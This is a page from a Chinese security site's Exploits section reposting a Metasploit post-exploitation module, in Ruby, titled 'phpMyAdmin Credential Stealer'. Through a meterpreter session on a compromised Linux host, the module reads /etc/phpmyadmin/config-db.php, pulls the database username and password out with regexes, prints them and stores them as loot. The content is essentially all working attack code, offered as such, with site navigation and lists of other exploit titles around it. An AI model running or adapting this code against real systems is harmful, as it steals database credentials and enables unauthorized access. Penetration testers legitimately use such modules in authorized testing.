首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
phpMyAdmin Credential Stealer
来源:metasploit.com 作者:Mishra 发布时间:2018-09-11  
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System

  def initialize(info={})
    super(update_info(info,
      'Name'         => "Phpmyadmin credentials stealer",
      'Description'  => %q{
        This module gathers Phpmyadmin creds from target linux machine.
      },
      'License'      => MSF_LICENSE,
      'Platform'     => ['linux'],
      'SessionTypes' => ['meterpreter'],
      'Author'       => [
        'Chaitanya Haritash [bofheaded]',
        'Dhiraj Mishra <dhiraj@notsosecure.com>'
        ]
    ))
   end

  def parse_creds(contents)
    db_user = contents.scan(/\$dbuser\s*=\s*['"](.*)['"];/).flatten.first
    db_pass = contents.scan(/\$dbpass\s*=\s*['"](.*)['"];/).flatten.first

    unless db_user && db_pass
      print_error("Couldn't find PhpMyAdmin credentials")
      return
    end

    print_good("User: #{db_user}")
    print_good("Password: #{db_pass}")

    print_status("Storing credentials...")
    store_valid_credential(user: db_user, private: db_pass)
  end

  def run
    print_line("\nPhpMyAdmin Creds Stealer!\n")

    if session.platform.include?("windows")
      print_error("This module is not compatible with windows")
      return
    end

    conf_path = "/etc/phpmyadmin/config-db.php"
    unless file_exist?(conf_path)
      print_error("#{conf_path} doesn't exist on target")
      return
    end

    print_good('PhpMyAdmin config found!')
    res = read_file(conf_path)
    unless res
      print_error("You may not have permissions to read the file.")
      return
    end

    print_good("Extracting creds")
    parse_creds(res)

    p = store_loot('phpmyadmin_conf', 'text/plain', session, res, 'phpmyadmin_conf.txt', 'phpmyadmin_conf')
    print_good("Config file located at #{p}")
  end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Zenmap (Nmap) 7.70 - Denial of
·Tor Browser 7.0.8 Information
·Any Sound Recorder 2.93 - Deni
·Easy File Sharing Web Server 6
·Flash Slideshow Maker Professi
·Tor Browser 7.x NoScript Bypas
·Microsoft Baseline Security An
·HTML5 Video Player 1.2.5 - Den
·Photo To Video Converter Profe
·InTouch Machine Edition 8.1 SP
·LW-N605R 12.20.2.1486 - Remote
·jiNa OCR Image to Text 1.0 - D
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved